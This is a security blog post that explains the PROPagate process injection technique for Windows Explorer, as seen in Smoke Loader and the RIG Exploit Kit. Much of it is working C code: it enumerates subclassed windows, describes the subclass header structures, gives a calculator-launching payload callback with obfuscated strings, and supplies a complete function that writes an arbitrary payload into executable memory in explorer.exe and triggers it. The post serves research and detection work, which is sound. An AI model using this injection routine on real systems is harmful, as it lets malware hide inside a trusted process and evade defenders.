Windows Process Injection: PROPagate

Introduction

In October 2017, Adam at Hexacorn published details of a process injection technique called PROPagate. In his post, he describes how any process that uses subclassed windows has the potential to be used for the execution of code without the creation of a new thread. As some of you will already know, creating a new thread in a remote process indicates suspicious activity. Remote thread creation is a common behaviour of malware attempting to deploy itself inside the memory space of a legitimate process for the purpose of evading detection.

PROPagate works by way of inserting a new subclass header or modifying an existing one that contains among other information a callback function that can be controlled from another process. A subclassed window can be updated using the SetProp API, and is very similar to using SetWindowLong/SetWindowLongPtr APIs to update a windows callback procedure. In this post, we will examine how PROPagate works, and what makes it more appealing for threat actors to use over other injection methods. As of August 2018, the method has been so far detected in Smoke Loader and the RIG Exploit Kit.

Enumerating windows

Windows Explorer uses subclassing extensively, and normally runs with a medium integrity level that makes the process space accessible to the logged on user without any privileges enabled. For these reasons, Windows explorer is far more likely to be the target of this injection method. A threat actor still needs to locate a valid subclass header, and thus requires discovery of existing window objects and their properties before injection into windows explorer can occur.

Microsoft Windows provides a number of simple API that can be used to discover window objects. We have the following API available to us.

  • EnumWindows/EnumDesktopWindows
  • EnumChildWindows
  • EnumProps/EnumPropsEx

We can locate a valid subclass header in explorer.exe using the following steps:

  1. Invoke EnumWindows
  2. From EnumWindowsProc invoke EnumChildWindows
  3. From EnumChildWindowsProc invoke EnumProps
  4. From EnumPropsProc invoke GetProp on the window handle with “UxSubclassInfo”
  5. If a valid handle is returned by GetProp, consider it a potential vector for injection

The following snippet of code is taken from enumprop that simply gathers a list of subclassed windows and displays information about them in a console window.

typedef struct _win_props_t {
  DWORD  dwPid;
  WCHAR  ImageName[MAX_PATH];
  HANDLE hProperty;
  HWND   hParentWnd;
  HWND   hChildWnd;
  WCHAR  ParentClassName[MAX_PATH];
  WCHAR  ChildClassName[MAX_PATH];
} WINPROPS, *PWINPROPS;

// callback for property list
BOOL CALLBACK PropEnumProc(HWND hwnd, 
  LPCTSTR lpszString, HANDLE hData) 
{
    WINPROPS wp;
    HANDLE   hp;
    
    hp = GetProp(hwnd, L"UxSubclassInfo");
    if(hp==NULL) hp = GetProp(hwnd, L"CC32SubclassInfo");
    
    if(hp != NULL) {
      ZeroMemory(&wp, sizeof(wp));
      
      GetWindowThreadProcessId(hwnd, &wp.dwPid);
      
      wp.hProperty  = hp;
      wp.hChildWnd  = hwnd;
      wp.hParentWnd = GetParent(hwnd);
      
      GetClassName(wp.hParentWnd, wp.ParentClassName, MAX_PATH);
      GetClassName(hwnd, wp.ChildClassName, MAX_PATH); 
      GetProcessImageName(wp.dwPid, wp.ImageName, MAX_PATH);
      
      // if not already saved
      if(!IsEntry(&wp)) {
        windows.push_back(wp);
      }
    }
    return TRUE;
}

// callback for child windows
BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam) {
    EnumProps(hwnd, PropEnumProc);
    
    return TRUE;
}

// callback for parent windows
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {
    EnumChildWindows(hwnd, EnumChildProc, 0);
    EnumProps(hwnd, PropEnumProc);
    
    return TRUE;
}

The following screenshot is an example of output generated by enumprop on a 64-bit version of Windows 7.

As you can see, there are many potential classes that could be exploited for code execution, however, we should really only need to use one of those listed. A universal parent and child class that should work for both Windows 7 and 10 is “Progman” and “SHELLDLL_DefView”

Subclass header

The sub class header values shown in the screenshot are just virtual memory addresses inside the process space of Windows explorer.

Windows keeps track of callback procedures for sub-classed windows through a set of structures defined below. The CallArray field is what we are interested in because this is where one can store a pointer to a payload in memory. Modifying the original header that was found through discovery is not required. One can simply copy the original header to a new memory location, update the CallArray field with a pointer to the payload in memory and trigger execution of the payload via a windows message.

typedef struct _SUBCLASS_CALL {
  SUBCLASSPROC pfnSubclass;    // subclass procedure
  WPARAM       uIdSubclass;    // unique subclass identifier
  DWORD_PTR    dwRefData;      // optional ref data
} SUBCLASS_CALL, PSUBCLASS_CALL;

typedef struct _SUBCLASS_FRAME {
  UINT                    uCallIndex;   // index of next callback to call
  UINT                    uDeepestCall; // deepest uCallIndex on stack
  struct _SUBCLASS_FRAME  *pFramePrev;  // previous subclass frame pointer
  struct _SUBCLASS_HEADER *pHeader;     // header associated with this frame
} SUBCLASS_FRAME, PSUBCLASS_FRAME;

typedef struct _SUBCLASS_HEADER {
  UINT           uRefs;        // subclass count
  UINT           uAlloc;       // allocated subclass call nodes
  UINT           uCleanup;     // index of call node to clean up
  DWORD          dwThreadId;   // thread id of window we are hooking
  SUBCLASS_FRAME *pFrameCur;   // current subclass frame pointer
  SUBCLASS_CALL  CallArray[1]; // base of packed call node array
} SUBCLASS_HEADER, *PSUBCLASS_HEADER;

Subclass callback

The function prototype for any payload should match the callback function we are replacing, otherwise the host process might crash after execution completes. It depends on the calling convention and number of parameters passed to the callback function.

typedef LRESULT (CALLBACK *SUBCLASSPROC)(
   HWND      hWnd,
   UINT      uMsg,
   WPARAM    wParam,
   LPARAM    lParam,
   UINT_PTR  uIdSubclass,
   DWORD_PTR dwRefData);

The payload requires the same number of parameters and calling convention. In addition to this, if we don’t want the function called multiple times, we should only execute based on the windows message passed in. Here, I use WM_CLOSE, but the message itself is irrelevant because it is never processed. It’s merely a way of knowing if this is the first call to the function.

LRESULT CALLBACK SubclassProc(HWND hWnd, UINT uMsg, WPARAM wParam, 
  LPARAM lParam, UINT_PTR uIdSubclass, DWORD_PTR dwRefData)
{
    // ignore messages other than WM_CLOSE
    if (uMsg != WM_CLOSE) return 0;
    
    WinExec_t pWinExec;
    DWORD     szWinExec[2],
              szCalc[2];

    // WinExec
    szWinExec[0]=0x456E6957;
    szWinExec[1]=0x00636578;

    // calc
    szCalc[0] = 0x636C6163;
    szCalc[1] = 0;

    pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
    if(pWinExec != NULL) {
      pWinExec((LPSTR)szCalc, SW_SHOW);
    }
    return 0;
}

Smoke Loader in particular appears to use a combination of WM_NOTIFY and WM_PAINT to trigger the payload, but this isn’t necessary and likely results in the code being executed multiple times. If it’s not executed multiple times, then I can only assume it uses a mutex name or something else to prevent this.

Full function

Below is the full code to inject a Position Independent Code (PIC) into explorer.exe. It works for both Windows 7 and 10, but performs no error checking so it may cause explorer.exe to crash or some other unexpected behaviour.

VOID propagate(LPVOID payload, DWORD payloadSize) {
    HANDLE          hp, p;
    DWORD           id;
    HWND            pwh, cwh;
    SUBCLASS_HEADER sh;
    LPVOID          psh, pfnSubclass;
    SIZE_T          rd,wr;

    // 1. Obtain the parent window handle
    pwh = FindWindow(L"Progman", NULL);

    // 2. Obtain the child window handle
    cwh = FindWindowEx(pwh, NULL, L"SHELLDLL_DefView", NULL);

    // 3. Obtain the handle of subclass header
    p = GetProp(cwh, L"UxSubclassInfo");

    // 4. Obtain the process id for the explorer.exe
    GetWindowThreadProcessId(cwh, &id);

    // 5. Open explorer.exe
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 6. Read the contents of current subclass header
    ReadProcessMemory(hp, (LPVOID)p, &sh, sizeof(sh), &rd);

    // 7. Allocate RW memory for a new subclass header
    psh = VirtualAllocEx(hp, NULL, sizeof(sh),
        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    // 8. Allocate RWX memory for the payload
    pfnSubclass = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 9. Write the payload to memory
    WriteProcessMemory(hp, pfnSubclass,
        payload, payloadSize, &wr);

    // 10. Set the pfnSubclass field to payload address, and write
    //    back to process in new area of memory
    sh.CallArray[0].pfnSubclass = (SUBCLASSPROC)pfnSubclass;
    WriteProcessMemory(hp, psh, &sh, sizeof(sh), &wr);

    // 11. update the subclass procedure with SetProp
    SetProp(cwh, L"UxSubclassInfo", psh);

    // 12. Trigger the payload via a windows message
    PostMessage(cwh, WM_CLOSE, 0, 0);

    // 13. Restore original subclass header
    SetProp(cwh, L"UxSubclassInfo", p);

    // 14. free memory and close handles
    VirtualFreeEx(hp, psh, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, pfnSubclass, 0, MEM_DECOMMIT | MEM_RELEASE);

    CloseHandle(hp);
}

Summary

Not all processes will have a subclassed window, so this method of injection is for the most part isolated to explorer.exe. A PoC that executes calculator can be found here.

This entry was posted in injection, malware, security, windows and tagged , . Bookmark the permalink.

1 Response to Windows Process Injection: PROPagate

  1. Pingback: Windows Process Injection: CLIPBRDWNDCLASS | modexp

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s